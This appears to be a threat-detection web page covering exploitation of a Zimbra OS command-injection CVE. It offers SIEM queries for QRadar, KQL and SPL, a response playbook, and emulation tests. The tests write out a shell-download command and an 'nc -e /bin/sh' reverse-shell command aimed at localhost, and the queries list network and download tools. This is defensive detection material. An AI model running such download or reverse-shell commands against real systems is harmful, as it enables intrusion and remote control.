CVE-2026-73570 IBM QRadar · QRadar

Detect Zimbra Collaboration Suite (ZCS) OS Command Injection (CVE-2026-73570) in IBM QRadar

Detects exploitation of CVE-2026-73570, a KEV-listed OS command injection vulnerability in Synacor Zimbra Collaboration Suite (ZCS). Attackers inject shell metacharacters into ZCS input (notably the SNMP-adjacent handling reported in active exploitation) to execute arbitrary OS commands as the 'zimbra' service account. Detection focuses on Zimbra service processes (mailboxd/java, zmconfigd, snmp handlers) spawning unexpected shell or reconnaissance child processes, and on web/proxy access to Zimbra endpoints correlated with anomalous command execution. Fixed in Zimbra 10.1.20 per vendor advisory.

MITRE ATT&CK

Tactic
Initial Access Execution

QRadar Detection Query

IBM QRadar (QRadar)
sql 
SELECT QIDNAME(qid) AS event, sourceip, destinationip, username, "Process Name" AS process, "Parent Process Name" AS parent, "Process CommandLine" AS cmd FROM events WHERE ("Parent Process Name" ILIKE '%zmmailboxdmgr%' OR "Parent Process Name" ILIKE '%zmconfigd%' OR "Parent Process Name" ILIKE '%snmpd%' OR username = 'zimbra') AND ("Process Name" ILIKE '%sh' OR "Process Name" ILIKE '%curl%' OR "Process Name" ILIKE '%wget%' OR "Process Name" ILIKE '%nc') AND (cmd MATCHES '.*([;|`]|\$\(|&&).*') ORDER BY startTime DESC LAST 24 HOURS
high severity medium confidence

AQL query surfacing Zimbra service parents or zimbra account launching shell/download utilities with command-injection metacharacters.

Data Sources

Linux DSMQRadar process events

Required Tables

events

False Positives & Tuning

  • Zimbra admin scripts
  • Backup/monitoring tooling under zimbra
  • Patch automation to 10.1.20

Other platforms for CVE-2026-73570

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate command injection via Zimbra service account

    Expected signal: Process launch of sh/id/whoami/uname with parent or user = zimbra and injection metacharacters (;) in command line.

  2. Test 2Simulate payload download as zimbra user

    Expected signal: curl/wget process with parent zimbra service or zimbra user writing to /tmp.

  3. Test 3Simulate reverse shell attempt from zimbra context

    Expected signal: nc/python process launched by zimbra user attempting outbound connection.

Last updated: 2026-08-22 Research depth: standard
References (5)

Response Playbook

Triage

  1. Confirm the affected host runs Zimbra Collaboration Suite and identify the installed version; anything prior to 10.1.20 is vulnerable to CVE-2026-73570.
  2. Review the flagged process tree: verify whether a Zimbra service parent (mailboxd/java, zmconfigd, snmpd) or the 'zimbra' account spawned a shell or network utility with metacharacters.
  3. Correlate the process timestamp with Zimbra web/proxy access logs (/opt/zimbra/log/nginx.access.log, mailbox.log) for anomalous requests to SNMP or admin endpoints from external IPs.
  4. Check whether the executed command performed reconnaissance (whoami/id/uname), downloaded a payload (curl/wget), or opened a reverse shell (nc/ncat/python).

Containment

  1. Isolate the affected Zimbra host from the network if command execution or payload retrieval is confirmed.
  2. Block the source IP(s) identified in the correlated Zimbra access logs at the perimeter and apply the 10.1.20 patch immediately per CISA BOD 26-04.
  3. Rotate the zimbra service account credentials and any secrets accessible from the host (LDAP admin, mailbox tokens).

Evidence Collection

  1. Preserve /opt/zimbra/log/ (mailbox.log, nginx.access.log, zmconfigd.log) and system auditd logs covering the exploitation window.
  2. Capture the full process tree, command lines, and any files written by the spawned processes (webshells, cron entries, /tmp payloads).

Escalation Criteria

  • !Escalate to IR if a reverse shell, downloaded payload, or persistence mechanism (cron, systemd, webshell) is confirmed on the host.
  • !Escalate to leadership/CISO if the host is internet-facing and lateral movement or data staging from the mailstore is observed.

Investigation Guide

Related Techniques

[object Object][object Object]

Forensic Artifacts

  • >/opt/zimbra/log/nginx.access.log and mailbox.log entries showing the malicious request
  • >Shell/network-utility processes with the zimbra account in auditd or EDR process telemetry
  • >Files dropped in /tmp, /opt/zimbra/jetty*/webapps, or cron/systemd persistence created by the zimbra user

Tuning Guidance

Baseline legitimate zimbra-account processes in your environment (zmcontrol, zmfixperms, backup agents) and exclude them by full command line rather than binary name. If Zimbra runs behind a proxy, prioritize alerts where the process timestamp correlates with an external source IP in nginx.access.log. Tighten severity when recon or download utilities appear versus benign shell wrappers.

Hunting Queries

Hunts for the zimbra service account running network/download utilities, a strong post-exploitation indicator.

Hunting — KQL
kql 
DeviceProcessEvents | where InitiatingProcessAccountName == "zimbra" | where FileName in~ ("nc","ncat","curl","wget","python","python3") | project Timestamp, DeviceName, FileName, ProcessCommandLine | order by Timestamp desc
Hunting — SPL
spl 
index=linux user=zimbra (process=*nc* OR process=*curl* OR process=*wget* OR process=*python*) | table _time, host, process, process_exec | sort - _time

Atomic Red Team Tests

Test 1 Simulate command injection via Zimbra service account
linux

Runs a recon command chain as the zimbra user to emulate injected OS command execution.

Command

bash 
sudo -u zimbra sh -c 'id; whoami; uname -a'

Cleanup

bash 
echo 'no cleanup required (read-only recon commands)'

Expected Telemetry

Process launch of sh/id/whoami/uname with parent or user = zimbra and injection metacharacters (;) in command line.

Expected Detection

KQL/SPL/EDR rule fires on zimbra account spawning shell with metacharacters.

Test 2 Simulate payload download as zimbra user
linux

Emulates attacker downloading a second-stage payload after command injection.

Command

bash 
sudo -u zimbra sh -c 'curl -s http://127.0.0.1/test.sh -o /tmp/atomic_test_payload.sh || wget -q http://127.0.0.1/test.sh -O /tmp/atomic_test_payload.sh'

Cleanup

bash 
rm -f /tmp/atomic_test_payload.sh

Expected Telemetry

curl/wget process with parent zimbra service or zimbra user writing to /tmp.

Expected Detection

Rule flags zimbra account invoking curl/wget download utility.

Test 3 Simulate reverse shell attempt from zimbra context
linux

Starts a short-lived netcat listener/connector as the zimbra user to emulate a reverse shell post command injection.

Command

bash 
sudo -u zimbra sh -c 'nc -w 2 127.0.0.1 4444 -e /bin/sh || python3 -c "import socket,subprocess;s=socket.socket();s.settimeout(2);\ntry:\n s.connect((\"127.0.0.1\",4444))\nexcept: pass"'

Cleanup

bash 
pkill -f 'nc -w 2 127.0.0.1 4444' 2>/dev/null || true

Expected Telemetry

nc/python process launched by zimbra user attempting outbound connection.

Expected Detection

Rule flags zimbra account spawning nc/python network utility with injection context.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002Execution

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.004Unix Shell

Same Tactic: Initial Access

Popular Detections